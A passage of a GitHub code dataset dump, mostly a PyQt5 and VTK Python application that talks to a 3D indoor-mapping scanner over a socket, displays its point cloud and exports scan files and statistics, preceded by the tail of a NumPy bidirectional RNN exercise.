h_next\n\n def backward(self, h_next, x_t):\n \"\"\"\n Calculate the hidden state in the\n backward direction for one time step\n \"\"\"\n h_x = np.concatenate((h_next.T, x_t.T), axis=0)\n h_prev = np.tanh((h_x.T @ self.Whb) + self.bhb)\n return h_prev\n\n def output(self, H):\n \"\"\"\n Calculate all outputs for the RNN\n \"\"\"\n t, m, _ = H.shape\n time_step = range(t)\n o = self.by.shape[1]\n Y = np.zeros((t, m, o))\n for ts in time_step:\n y_pred = self.softmax((H[ts] @ self.Wy) + self.by)\n Y[ts] = y_pred\n return Y\n\n def softmax(slef, x):\n \"\"\"\n Softmax function.\n \"\"\"\n return np.exp(x) / np.sum(np.exp(x), axis=1, keepdims=True)\n","repo_name":"LizzGarleb/holbertonschool-machine_learning","sub_path":"supervised_learning/RNNs/7-bi_output.py","file_name":"7-bi_output.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30479839946","text":"\"\"\"\r\nModule: SceneViewerAPP.py\r\n@authors: Carlos Vinhais & Carlos Silva\r\ncvinhais@gmail.com / 1160628@isep.ipp.pt\r\n\"\"\"\r\n\r\nimport sys\r\nimport numpy as np\r\nimport vtk\r\nimport time\r\nimport socket\r\nimport threading\r\nimport serial\r\nimport datetime\r\nfrom vtk.util.numpy_support import vtk_to_numpy\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\nimport struct\r\nfrom PyQt5 import Qt, QtCore, QtGui, QtWidgets # QtCore, QtGui,\r\nfrom PyQt5.QtWidgets import *\r\nimport SceneViewerGUI\r\n\r\n\r\n\"\"\" A class for Scene Viewer APP \"\"\"\r\n\r\nclass SceneViewerApp( QtWidgets.QMainWindow ):\r\n \r\n def __init__(self, parent=None):\r\n\r\n # Parent constructor\r\n super( SceneViewerApp, self).__init__()\r\n self.ui = SceneViewerGUI.Ui_MainWindow()\r\n self.ui.setupUi(self)\r\n\r\n # ========================================================\r\n self.APP_NAME = \"3D Indoor Mapping App\"\r\n self.APP_VERSION = \"v0\"\r\n # ========================================================\r\n\r\n # APP Callbacks - \"Menu -> File, Help\"\r\n self.ui.FileSaveAction.triggered.connect( self.File_Save_VTK )\r\n self.ui.FileExportAction.triggered.connect( self.File_Export )\r\n self.ui.StatsSaveAction.triggered.connect( self.File_Save_Stats )\r\n self.ui.AllSaveAction.triggered.connect( self.File_Save_All )\r\n self.ui.FileQuitAction.triggered.connect( self.File_Quit )\r\n\r\n self.ui.Button_Connect_COM.clicked.connect( self.ConnectCOM )\r\n self.ui.Button_Disconnect_COM.clicked.connect( self.DisconnectCOM )\r\n self.ui.button_CheckStatus.clicked.connect( self.CheckStatus)\r\n self.ui.button_StartCalibration.clicked.connect( self.StartCalibrate)\r\n self.ui.button_StopCalibration.clicked.connect( self.StopCalibrate)\r\n self.ui.button_ApplyMotors.clicked.connect( self.ApplyMotors)\r\n self.ui.button_StartScan.clicked.connect( self.StartScan)\r\n self.ui.button_PauseScan.clicked.connect( self.PauseScan)\r\n self.ui.button_StopScan.clicked.connect( self.StopScan)\r\n self.ui.HelpAboutAction.triggered.connect( self.Help_About )\r\n\r\n # Global Variables\r\n self.calibrateFlag = False\r\n self.PauseScanFlag = False\r\n self.StopScanFlag = False\r\n self.stepMode = 1\r\n self.ThreadClientFlag = False\r\n\r\n self.flag_STOP = False\r\n\r\n icon = 'SP_MediaPlay'\r\n self.imgMediaPlay = self.ui.centralWidget.style().standardIcon(getattr(QStyle, icon))\r\n icon = 'SP_MediaPause'\r\n self.imgMediaPause = self.ui.centralWidget.style().standardIcon(getattr(QStyle, icon))\r\n\r\n # ========================================================\r\n # Point Cloud\r\n # ========================================================\r\n self.points = vtk.vtkPoints()\r\n self.vertices = vtk.vtkCellArray()\r\n self.vtkdepth = vtk.vtkDoubleArray()\r\n self.vtkdepth.SetNumberOfComponents(1)\r\n self.vtkdepth.SetName('vtkdepth')\r\n\r\n self.cloud = vtk.vtkPolyData()\r\n self.cloud.SetPoints( self.points )\r\n self.cloud.SetVerts( self.vertices )\r\n self.cloud.GetPointData().SetScalars(self.vtkdepth)\r\n self.cloud.GetPointData().SetActiveScalars('vtkdepth')\r\n\r\n self.mapper = vtk.vtkPolyDataMapper()\r\n self.mapper.SetInputData( self.cloud )\r\n #self.mapper.SetScalarRange(100, 12000)\r\n\r\n self.cloudActor = vtk.vtkActor()\r\n self.cloudActor.GetProperty().SetPointSize( 2 )\r\n self.cloudActor.SetMapper( self.mapper )\r\n\r\n self.ui.qvtk1.ren.AddActor( self.cloudActor )\r\n\r\n self.lineSource = vtk.vtkLineSource()\r\n self.lineSource.SetPoint1( 0,0,0 )\r\n self.lineSource.SetPoint2( 0,0,2 )\r\n self.lineSource.Update()\r\n\r\n self.beamMapper = vtk.vtkPolyDataMapper()\r\n self.beamMapper.SetInputConnection( self.lineSource.GetOutputPort() )\r\n\r\n self.beamActor = vtk.vtkActor()\r\n self.beamActor.GetProperty().SetEdgeColor( 1.0, 1.0, 1.0 )\r\n self.beamActor.GetProperty().SetLineWidth( 2 )\r\n\r\n self.beamActor.SetMapper( self.beamMapper )\r\n\r\n self.ui.qvtk1.ren.AddActor( self.beamActor )\r\n\r\n # ========================================================\r\n\r\n\r\n # ===========================================================\r\n # # General Functions\r\n # ===========================================================\r\n # ===========================================================\r\n # USB Send Message and Wait Answer\r\n # ===========================================================\r\n def USB_sendWaitAnswer(self, usb_obj, sendMessage, recvMesssage):\r\n data = \" \"\r\n usb_obj.write(sendMessage.encode())\r\n while data != recvMesssage:\r\n data = usb_obj.readline()[:-2] #the last bit gets rid of the new-line chars\r\n if data:\r\n data = data.decode()\r\n\r\n # ===========================================================\r\n # Start Server\r\n # ===========================================================\r\n def StartServer(self, SERVER, PORT):\r\n self.DISCONNECT_MESSAGE = '!DISCONNECT'\r\n ADDR = (SERVER, PORT)\r\n\r\n try:\r\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n except socket.error as err:\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage('Failed to create server socket!' + str(err))\r\n return False\r\n\r\n try:\r\n self.server.bind( ADDR )\r\n except Exception as err:\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage('Error: PORT already in use! Please choose another one')\r\n return False\r\n\r\n self.server.listen()\r\n self.conn, self.addr = self.server.accept()\r\n print(f'[NEW CONNECTION] {self.addr}')\r\n print(f'[ACTIVE THREADS] {threading.active_count()}')\r\n return True\r\n\r\n # ===========================================================\r\n # Wifi Send Message\r\n # ===========================================================\r\n def WIFI_sendMessage(self, message):\r\n self.FORMAT = 'UTF-8'\r\n self.conn.sendall(bytes(message, self.FORMAT))\r\n\r\n # ===========================================================\r\n # Wifi Receive Message\r\n # ===========================================================\r\n def WIFI_recvMessage(self):\r\n data = self.conn.recv(1024).decode()\r\n return data\r\n\r\n # ===========================================================\r\n # Convert Seconds to Days, Hours, Minutes, Seconds\r\n # ===========================================================\r\n def SEC_TO_DHMS(self, tSeconds):\r\n days = tSeconds // (24 * 3600) \r\n tSeconds = tSeconds % (24 * 3600) \r\n hours= tSeconds // 3600\r\n tSeconds %= 3600\r\n minutes = tSeconds // 60\r\n tSeconds %= 60\r\n seconds = tSeconds\r\n\r\n return days, hours, minutes, seconds\r\n\r\n # ===========================================================\r\n # Reset Scan\r\n # ===========================================================\r\n def ResetPointCloud( self ):\r\n # self.ui.progressBar.setValue( 0 )\r\n # self.ui.qvtk1.CleanViewer()\r\n\r\n #Reset Point Cloud\r\n self.points = vtk.vtkPoints()\r\n self.vertices = vtk.vtkCellArray()\r\n self.vtkdepth = vtk.vtkDoubleArray()\r\n\r\n self.cloud.SetPoints( self.points )\r\n self.cloud.SetVerts( self.vertices )\r\n self.cloud.GetPointData().SetScalars(self.vtkdepth)\r\n\r\n self.lineSource.SetPoint1( 0,0,0 )\r\n self.lineSource.SetPoint2( 0,0,5 )\r\n\r\n self.ui.qvtk1.iren.Render()\r\n\r\n # self.ui.qvtk1.ren.AddActor( self.cloudActor )\r\n # self.ui.qvtk1.ren.AddActor( self.beamActor )\r\n\r\n # ===========================================================\r\n # Reset Scan\r\n # ===========================================================\r\n def ResetScan(self):\r\n # self.ui.progressBar.setValue( 0 )\r\n # self.ui.qvtk1.CleanViewer()\r\n self.ResetPointCloud()\r\n # self.ui.qvtk1.ren.AddActor( self.cloudActor )\r\n # self.ui.qvtk1.ren.AddActor( self.beamActor )\r\n\r\n # ===========================================================\r\n # # APP Button Callbacks to Create Threads\r\n # ===========================================================\r\n def ConnectCOM(self):\r\n print(f'[ACTIVE THREADS] {threading.active_count()}')\r\n self.ConnectCOMthread = threading.Thread(target=self.ConnectCOMThread,\r\n args=(), daemon = True)\r\n self.ConnectCOMthread.start()\r\n\r\n \r\n def StartCalibrate(self):\r\n print(f'[ACTIVE THREADS] {threading.active_count()}')\r\n self.StartCalibratethread = threading.Thread(target=self.StartCalibrateThread,\r\n args=(), daemon = True)\r\n self.StartCalibratethread.start()\r\n \r\n \r\n def StartScan(self):\r\n print(f'[ACTIVE THREADS] {threading.active_count()}')\r\n self.StartScanthread = threading.Thread(target=self.StartScanThread,\r\n args=(self.ui.qvtk1.cornerAnnotation,), daemon = True)\r\n self.StartScanthread.start()\r\n\r\n self.ProgressBarthread = threading.Thread(target=self.ProgressBarThread,\r\n args=(), daemon = True)\r\n self.ProgressBarthread.start()\r\n \r\n # ===========================================================\r\n # # APP Button Callbacks\r\n # ===========================================================\r\n # ===========================================================\r\n # Disconnect Communications\r\n # ===========================================================\r\n def DisconnectCOM(self):\r\n self.WIFI_sendMessage((\"D\"))\r\n\r\n while True:\r\n data = self.conn.recv(32).decode()\r\n if(data == \"DISCONNECTED\"):\r\n self.conn.close()\r\n self.server.close()\r\n self.ThreadClientFlag = True\r\n self.ui.Label_STATUS2.setText(\"Disconnected\")\r\n self.ui.Label_STATUS2.setStyleSheet(\"color: red\")\r\n self.ui.Label_ScannerIP2.clear()\r\n self.ui.Label_ScannerIP2.setText(\"xxx.xxx.xxx.xxx\")\r\n self.ui.Label_ScannerIP2.setStyleSheet(\"color: black\")\r\n self.ui.Button_Disconnect_COM.setEnabled( 0 )\r\n self.ui.button_CheckStatus.setEnabled( 0 )\r\n self.ui.button_StartCalibration.setEnabled( 0 )\r\n self.ui.button_ApplyMotors.setEnabled( 0 )\r\n self.ui.button_StartScan.setEnabled( 0 )\r\n self.ui.button_StopScan.setEnabled( 0 )\r\n self.ui.button_PauseScan.setEnabled( 0 )\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage(\"All disconnected\")\r\n return\r\n\r\n # ===========================================================\r\n # Check IMU Status\r\n # ===========================================================\r\n def CheckStatus(self):\r\n self.WIFI_sendMessage(\"IS\")\r\n while True:\r\n data = self.WIFI_recvMessage()\r\n self.WIFI_sendMessage(\"ACK\")\r\n\r\n if data == 'ACC_OK':\r\n self.ui.IMUAccLabel2.setText(\"Ok\")\r\n self.ui.IMUAccLabel2.setStyleSheet('color: green')\r\n elif data == 'ACC_NOK':\r\n self.ui.IMUAccLabel2.setText(\"ERROR!\")\r\n self.ui.IMUAccLabel2.setStyleSheet('color: red')\r\n\r\n if data == 'MAG_OK':\r\n self.ui.IMUMagLabel2.setText(\"Ok\")\r\n self.ui.IMUMagLabel2.setStyleSheet('color: green')\r\n elif data == 'MAG_NOK':\r\n self.ui.IMUMagLabel2.setText(\"ERROR!\")\r\n self.ui.IMUMagLabel2.setStyleSheet('color: red')\r\n\r\n if data == 'GYR_OK':\r\n self.ui.IMUGyrLabel2.setText(\"Ok\")\r\n self.ui.IMUGyrLabel2.setStyleSheet('color: green')\r\n elif data == 'GYR_NOK':\r\n self.ui.IMUGyrLabel2.setText(\"ERROR!\")\r\n self.ui.IMUGyrLabel2.setStyleSheet('color: red')\r\n\r\n if data == 'MIC_OK':\r\n self.ui.IMUMicLabel2.setText(\"Ok\")\r\n self.ui.IMUMicLabel2.setStyleSheet('color: green')\r\n return\r\n elif data == 'MIC_NOK':\r\n self.ui.IMUMicLabel2.setText(\"ERROR!\")\r\n self.ui.IMUAMicLabel2.setStyleSheet('color: red')\r\n return\r\n \r\n # ===========================================================\r\n # Stop IMU Calibration\r\n # ===========================================================\r\n def StopCalibrate(self):\r\n self.calibrateFlag = True\r\n\r\n if(self.sys_calibration == 3):\r\n self.ui.IMUSystemLabel2.setText(\"Calibrated\")\r\n self.ui.IMUSystemLabel2.setStyleSheet('color: green')\r\n else:\r\n self.ui.IMUSystemLabel2.setText(\"Uncalibrated\")\r\n self.ui.IMUSystemLabel2.setStyleSheet('color: red')\r\n\r\n if(self.gyr_calibration == 3):\r\n self.ui.IMUGyrLabel3.setText(\"Calibrated\")\r\n self.ui.IMUGyrLabel3.setStyleSheet('color: green')\r\n else:\r\n self.ui.IMUGyrLabel3.setText(\"Uncalibrated\")\r\n self.ui.IMUGyrLabel3.setStyleSheet('color: red')\r\n\r\n if(self.acc_calibration == 3):\r\n self.ui.IMUAccLabel3.setText(\"Calibrated\")\r\n self.ui.IMUAccLabel3.setStyleSheet('color: green')\r\n else:\r\n self.ui.IMUAccLabel3.setText(\"Uncalibrated\")\r\n self.ui.IMUAccLabel3.setStyleSheet('color: red')\r\n\r\n if(self.mag_calibration == 3):\r\n self.ui.IMUMagLabel3.setText(\"Calibrated\")\r\n self.ui.IMUMagLabel3.setStyleSheet('color: green')\r\n else:\r\n self.ui.IMUMagLabel3.setText(\"Uncalibrated\")\r\n self.ui.IMUMagLabel3.setStyleSheet('color: red')\r\n\r\n self.ui.Button_Disconnect_COM.setEnabled( 1 )\r\n self.ui.button_CheckStatus.setEnabled( 1 )\r\n self.ui.button_StartCalibration.setEnabled( 1 )\r\n self.ui.button_StopCalibration.setEnabled( 0 )\r\n self.ui.button_ApplyMotors.setEnabled( 1 )\r\n\r\n self.WIFI_sendMessage(\"S\")\r\n \r\n while True:\r\n data = self.WIFI_recvMessage()\r\n if(data == \"END_CALIBRATE\"):\r\n return\r\n\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage(\"IMU Calibrated\")\r\n\r\n\r\n # ===========================================================\r\n # Apply Motors Settings\r\n # ===========================================================\r\n def ApplyMotors(self):\r\n msg = \"M\"\r\n if self.ui.radio1.isChecked():\r\n msg = msg + \"F\"\r\n self.stepMode = 1\r\n elif self.ui.radio2.isChecked():\r\n msg = msg + \"H\"\r\n self.stepMode = 2\r\n elif self.ui.radio4.isChecked():\r\n msg = msg + \"Q\"\r\n self.stepMode = 4\r\n elif self.ui.radio8.isChecked():\r\n msg = msg + \"E\"\r\n self.stepMode = 8\r\n elif self.ui.radio16.isChecked():\r\n msg = msg + \"S\"\r\n self.stepMode = 16\r\n elif self.ui.radio32.isChecked():\r\n msg = msg + \"T\"\r\n self.stepMode = 32\r\n\r\n #corners.SetText(3, f\"PPS: {'{:.2f}'.format(PPS)}\" )\r\n #self.ui.qvtk1.cornerAnnotation.SetText(1, \"sal\")\r\n\r\n self.totalPoints = (self.stepMode**2) * 100 * 100 + self.stepMode*100\r\n self.WIFI_sendMessage(msg)\r\n\r\n\r\n while True:\r\n data = self.WIFI_recvMessage()\r\n if(data == \"MOTORS_CHANGED\"):\r\n self.ui.button_StartScan.setEnabled(1)\r\n return\r\n\r\n # ===========================================================\r\n # Pause Scan\r\n # ===========================================================\r\n def PauseScan(self):\r\n self.PauseScanFlag = not self.PauseScanFlag\r\n\r\n if(self.PauseScanFlag):\r\n self.ui.button_PauseScan.setText(\"Continue\")\r\n self.ui.button_PauseScan.setIcon( self.imgMediaPlay )\r\n self.ui.button_StopScan.setEnabled( 1 )\r\n else:\r\n self.ui.button_PauseScan.setText(\"Pause\")\r\n self.ui.button_PauseScan.setIcon( self.imgMediaPause )\r\n self.ui.button_StopScan.setEnabled( 0 )\r\n\r\n # ===========================================================\r\n # Stop Scan\r\n # ===========================================================\r\n def StopScan(self):\r\n self.StopScanFlag = True\r\n self.WIFI_sendMessage(\"S\")\r\n\r\n while True:\r\n data = self.WIFI_recvMessage()\r\n if data:\r\n break\r\n\r\n self.ui.Button_Disconnect_COM.setEnabled(1)\r\n self.ui.Button_Disconnect_COM.setEnabled(1)\r\n self.ui.button_CheckStatus.setEnabled(1)\r\n self.ui.button_StartCalibration.setEnabled(1)\r\n self.ui.button_ApplyMotors.setEnabled(1)\r\n self.ui.button_StartScan.setEnabled(1)\r\n self.ui.button_PauseScan.setText(\"Pause\")\r\n self.ui.button_PauseScan.setIcon( self.imgMediaPause )\r\n self.ui.button_PauseScan.setEnabled(0)\r\n self.ui.button_StopScan.setEnabled(0)\r\n self.ui.progressBar.setValue( 0 )\r\n self.ResetScan()\r\n self.PauseScanFlag = False\r\n\r\n # ===========================================================\r\n # APP Menu Bar Callbacks\r\n # ===========================================================\r\n # ===========================================================\r\n # File Quit\r\n # ===========================================================\r\n def File_Quit(self): # QMessageBox.question\r\n self.ui.statusBar.showMessage('Quit?')\r\n # ----------------------------------------- \r\n buttonReply = QMessageBox.question(self,\r\n 'Scene Viewer APP', \"Do you want to Quit?\",\r\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n if buttonReply == QMessageBox.Yes:\r\n # self.Stop() # stop the thread if daemon = True?\r\n # self.hide() # hide main window ?\r\n sys.exit()\r\n else:\r\n pass\r\n # -----------------------------------------\r\n self.ui.statusBar.showMessage('Ready.')\r\n\r\n # ===========================================================\r\n # File Save\r\n # ===========================================================\r\n def File_Save_VTK(self):\r\n outputFilename = QtWidgets.QFileDialog.getSaveFileName( self,\r\n 'Save Point Cloud As...', 'cloud.vtk',\r\n filter=('*.vtk'))[0]\r\n if ( outputFilename ):\r\n print ( \"Writing:\", outputFilename )\r\n writer = vtk.vtkPolyDataWriter()\r\n writer.SetInputData( self.cloud )\r\n writer.SetFileName( outputFilename )\r\n writer.Write()\r\n\r\n # ===========================================================\r\n # File Export\r\n # ===========================================================\r\n def File_Export(self):\r\n outputFilename = QtWidgets.QFileDialog.getSaveFileName( self,\r\n 'Export Screenshot As...', 'screenshot.png',\r\n filter=('*.png'))[0]\r\n if ( outputFilename ):\r\n print ( \"Writing:\", outputFilename )\r\n windowToImageFilter = vtk.vtkWindowToImageFilter()\r\n windowToImageFilter.SetInput( self.ui.qvtk1.renWin )\r\n windowToImageFilter.Update()\r\n writer = vtk.vtkPNGWriter()\r\n writer.SetInputData( windowToImageFilter.GetOutput() )\r\n writer.SetFileName( outputFilename )\r\n writer.Write()\r\n\r\n # ===========================================================\r\n # File Save Statistics\r\n # ===========================================================\r\n def File_Save_Stats(self):\r\n outputFilename = QtWidgets.QFileDialog.getSaveFileName( self, 'Export statistic files as...')[0]\r\n if ( outputFilename ):\r\n print(outputFilename)\r\n points = self.cloud.GetPoints()\r\n pointsData = points.GetData()\r\n npts = points.GetNumberOfPoints()\r\n array3d = vtk_to_numpy(points.GetData())\r\n\r\n xPoints = array3d[:, 0]\r\n yPoints = array3d[:, 1]\r\n zPoints = array3d[:, 2]\r\n\r\n self.autocad_points(outputFilename, xPoints, yPoints, zPoints)\r\n self.autocad_lines(outputFilename, xPoints, yPoints, zPoints)\r\n self.file_xyz(outputFilename, xPoints, yPoints, zPoints)\r\n #self.statistics(outputFilename, npts, xPoints, yPoints, zPoints)\r\n with open(f\"{outputFilename}_stats.txt\", \"w\") as f:\r\n f.write(f\"Begnning of the test at: {self.beginTestDate}\\n\")\r\n f.write(f\"Test ended at: {self.endTestDate}\\n\")\r\n daysTimeElapsed, hoursTimeElapsed, minutesTimeElapsed, secondsTimeElapsed = self.SEC_TO_DHMS(self.endTimeElapsed - self.beginTimeElapsed)\r\n if(daysTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {daysTimeElapsed}D {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (hoursTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (minutesTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n else:\r\n MessageStatus = f'Time Elapsed: {round(secondsTimeElapsed, 0)}S'\r\n f.write(f\"{MessageStatus}\\n\")\r\n f.write(f\"Total Points: {npts}\\n\")\r\n f.write(f\"Average PPS: {round((npts/(self.endTimeElapsed - self.beginTimeElapsed)), 2)}\")\r\n\r\n def autocad_points(self, filename, x, y, z):\r\n with open(f'{filename}_points.scr', 'w') as f:\r\n f.write(\"_MULTIPLE _POINT\\n\")\r\n for i in range(len(x)):\r\n f.write(f\"{x[i]},{y[i]},{z[i]}\\n\")\r\n\r\n def autocad_lines(self, filename, x, y, z):\r\n with open(f'{filename}_lines.scr', 'w') as f:\r\n f.write(\"._3DPOLY\\n\")\r\n for i in range(len(x)):\r\n f.write(f\"{x[i]},{y[i]},{z[i]}\\n\")\r\n\r\n def file_xyz(self, filename, x, y, z):\r\n depth = np.sqrt(x**2 + y**2 + z**2)\r\n red = []\r\n green = []\r\n blue = []\r\n\r\n for i in range(len(depth)):\r\n if depth[i] <= 6000:\r\n red.append(255-0.0425*depth[i])\r\n green.append(0.0425*depth[i])\r\n blue.append(0)\r\n else:\r\n red.append(0)\r\n green.append(255-0.0425*(depth[i]-6000))\r\n blue.append(0.0425*(depth[i]-6000))\r\n \r\n with open(f'{filename}_pointsDepth.xyz', 'w') as f:\r\n for i in range(len(depth)):\r\n f.write(f\"{x[i]} {y[i]} {z[i]} {red[i]} {green[i]} {blue[i]}\\n\")\r\n\r\n def statistics(self, filename, nPoints, x, y, z):\r\n rad_r = []\r\n widthPlot = []\r\n zeroIndex = []\r\n\r\n zeroIndex.append(0)\r\n self.stepMode = 2\r\n\r\n for i in range(1, int(10100/100)*2*self.stepMode-3, 2):\r\n zeroIndex.append(zeroIndex[i-1]+100*self.stepMode)\r\n zeroIndex.append(zeroIndex[i]+1)\r\n\r\n zeroIndex.append(10100*self.stepMode-1)\r\n zeroIndex = np.array(zeroIndex)\r\n \r\n \r\n # Descobrir pontos da planta\r\n for i in range(len(z)-1):\r\n if(i in zeroIndex):\r\n radian = np.arctan2(y[i], x[i])\r\n distance = np.sqrt(x[i]**2 + y[i]**2)\r\n if((x[i] >= 0) and (y[i] >= 0)):\r\n radian = radian\r\n elif((x[i] <= 0) and (y[i] >= 0)):\r\n radian = radian\r\n elif((x[i] <= 0) and (y[i] <= 0)):\r\n radian = radian + 2*np.pi\r\n elif((x[i] >= 0) and (y[i] <= 0)):\r\n radian = radian + 2*np.pi\r\n\r\n rad_r.append([radian, distance])\r\n\r\n rad_r = sorted(rad_r,key=lambda x: x[0]) # Afinal não é preciso fazer sort\r\n rad2 = [i[0] for i in rad_r]\r\n rad2.append(rad2[-1]+rad2[1])\r\n rad2.pop(0)\r\n r2 = [i[1] for i in rad_r]\r\n r2.append(r2[0])\r\n r2.pop(0)\r\n\r\n rad2 = np.array(rad2)\r\n r2 = np.array(r2)\r\n\r\n rad_mid = (rad2[:-1] + rad2[1:])/2 # Midpoints\r\n r_mid = (r2[:-1] + r2[1:])/2\r\n\r\n r2 = r2/1000\r\n r_mid = r_mid/1000\r\n\r\n for i in range(len(rad2)-1):\r\n widthPlot.append(rad2[i+1]-rad2[i]) # Constante\r\n\r\n plt.polar(rad_mid, r_mid,'bo-', color=\"blue\", markersize=2)\r\n ax = plt.subplot(111, projection='polar', label=\"blueprint\")\r\n ax.bar(rad_mid, r_mid, width=widthPlot, bottom=0.0, align='edge', alpha=0.5, color='b', linewidth=0)\r\n ax.set_title(\"Blue print\", loc=\"left\")\r\n ax.legend([\"Distance (m)\"], loc=\"best\")\r\n\r\n dx = widthPlot[0]\r\n\r\n\r\n distTotal = []\r\n distIdx = []\r\n dist = []\r\n for i in range(len(x)):\r\n distTotal.append(np.sqrt(x[i]**2 + y[i]**2 + z[i]**2))\r\n\r\n for i in range(int(100*self.stepMode)):\r\n distIdx.append((100*self.stepMode)*i+50*self.stepMode)\r\n \r\n for i in range(len(distIdx)):\r\n dist.append(distTotal[distIdx[i]])\r\n dist = np.array(dist) / 1000\r\n\r\n ###############################################\r\n ############# Calculus ( mean, media, std, var)\r\n N = len(dist)\r\n # Precisão // Precision (diferença entre os valores medidos / Consistencia)\r\n t_student = 1\r\n r_medio = np.mean(dist)\r\n desvio_pad = np.std(dist)\r\n variancia = np.var(dist)\r\n incerteza_abs = t_student * desvio_pad / (np.sqrt(N)) # Standard Error\r\n incerteza_rel = incerteza_abs/r_medio\r\n\r\n mostD = np.max(r2)\r\n if mostD < 6.000:\r\n mostDerror = 0.06\r\n else:\r\n mostDerror = mostD*0.01\r\n\r\n hpoint = np.max(z, axis=0)/1000\r\n hpointIdx = np.argmax(z, axis=0)\r\n hpointDist = np.sqrt(x[hpointIdx]**2 + y[hpointIdx]**2 + z[hpointIdx]**2)/1000\r\n hpointRadian = np.arcsin(hpoint/hpointDist)\r\n if hpointDist < 6.000:\r\n hpointError = (hpointDist+0.06)*np.sin(hpointRadian) - hpoint\r\n else:\r\n hpointError = (hpointDist+hpointDist*0.01)*np.sin(hpointRadian) - hpoint\r\n\r\n rError = []\r\n for i in range(len(r2)):\r\n if r2[i] < 6.000:\r\n rError.append(r2[i]+0.06)\r\n else:\r\n rError.append(r2[i]+r2[i]*0.01)\r\n rError = np.array(rError)\r\n\r\n triangleRiemannSum = np.sum(0.5 * r2 * r2*np.tan(dx)) #0.5 * b * h\r\n triangleRiemannSumMax = np.sum(0.5 * rError * rError*np.tan(dx))\r\n triangleRiemannSumError = triangleRiemannSumMax - triangleRiemannSum\r\n \r\n CircleRiemannSum = np.sum(np.pi * r2**2 * dx/(2*np.pi)) #pi*r^2\r\n CircleRiemannSumMax = np.sum(np.pi * rError**2 * dx/(2*np.pi)) #pi*r^2\r\n CircleRiemannSumMaxError = CircleRiemannSumMax - CircleRiemannSum\r\n \r\n trianglePerimeter = np.sum(r2*np.tan(dx))\r\n trianglePerimeterMax = np.sum(rError*np.tan(dx))\r\n trianglePerimeterError = trianglePerimeterMax - trianglePerimeter\r\n \r\n circlePerimeter = np.sum(2*np.pi*r2*(dx/(2*np.pi)))\r\n circlePerimeterMax = np.sum(2*np.pi*rError*(dx/(2*np.pi)))\r\n circlePerimeterError = circlePerimeterMax - circlePerimeter\r\n \r\n\r\n with open(f\"{filename}_stats.txt\", \"w\") as f:\r\n f.write(f\"Begnning of the test at: {self.beginTestDate}\\n\")\r\n f.write(f\"Test ended at: {self.endTestDate}\\n\")\r\n\r\n daysTimeElapsed, hoursTimeElapsed, minutesTimeElapsed, secondsTimeElapsed = self.SEC_TO_DHMS(self.endTimeElapsed - self.beginTimeElapsed)\r\n if(daysTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {daysTimeElapsed}D {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (hoursTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (minutesTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n else:\r\n MessageStatus = f'Time Elapsed: {round(secondsTimeElapsed, 0)}S'\r\n\r\n f.write(f\"{MessageStatus}\\n\")\r\n f.write(f\"Step Mode: {self.stepMode}\\n\")\r\n f.write(f\"Total Points: {nPoints}\\n\")\r\n f.write(f\"Average PPS: {round((nPoints/(self.endTimeElapsed - self.beginTimeElapsed)), 2)}\\n\")\r\n f.write(f\"Absolute precision of north pole: +- {round(incerteza_abs, 3)} m\\n\")\r\n f.write(f\"Relative precision of north pole: +- {round(incerteza_rel*100, 3)} %\\n\")\r\n f.write(f\"Most distant point: {round(mostD, 3)} +- {round(mostDerror, 3)} m\\n\")\r\n f.write(f\"Maximum height: {round(hpoint, 3)} +- {round(hpointError, 3)} m\\n\")\r\n f.write(f\"Triangles Rienmann Sum Area: {round(triangleRiemannSum, 3)} +- {round(triangleRiemannSumError, 3)} m²\\n\")\r\n f.write(f\"Circles Rienmann Sum Area: {round(CircleRiemannSum, 3)} +- {round(CircleRiemannSumMaxError, 3)} m²\\n\")\r\n f.write(f\"Triangles Rienmann Sum Perimeter: {round(trianglePerimeter, 3)} +- {round(trianglePerimeterError, 3) } m\\n\")\r\n f.write(f\"Circles Rienmann Sum Perimeter: {round(circlePerimeter, 3)} +- {round(circlePerimeterError, 3)} m\")\r\n\r\n plt.savefig(f\"{filename}_blueprint.png\")\r\n\r\n # ===========================================================\r\n # File Save All\r\n # ===========================================================\r\n def File_Save_All(self):\r\n outputFilename = QtWidgets.QFileDialog.getSaveFileName( self, 'Export statistic files as...')[0]\r\n\r\n if ( outputFilename ):\r\n print(outputFilename)\r\n points = self.cloud.GetPoints()\r\n pointsData = points.GetData()\r\n npts = points.GetNumberOfPoints()\r\n array3d = vtk_to_numpy(points.GetData())\r\n\r\n with open(f\"{outputFilename}_stats.txt\", \"w\") as f:\r\n f.write(f\"Begnning of the test at: {self.beginTestDate}\\n\")\r\n f.write(f\"Test ended at: {self.endTestDate}\\n\")\r\n daysTimeElapsed, hoursTimeElapsed, minutesTimeElapsed, secondsTimeElapsed = self.SEC_TO_DHMS(self.endTimeElapsed - self.beginTimeElapsed)\r\n if(daysTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {daysTimeElapsed}D {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (hoursTimeElapsed > 0):\r\n MessageStatus = f'Time 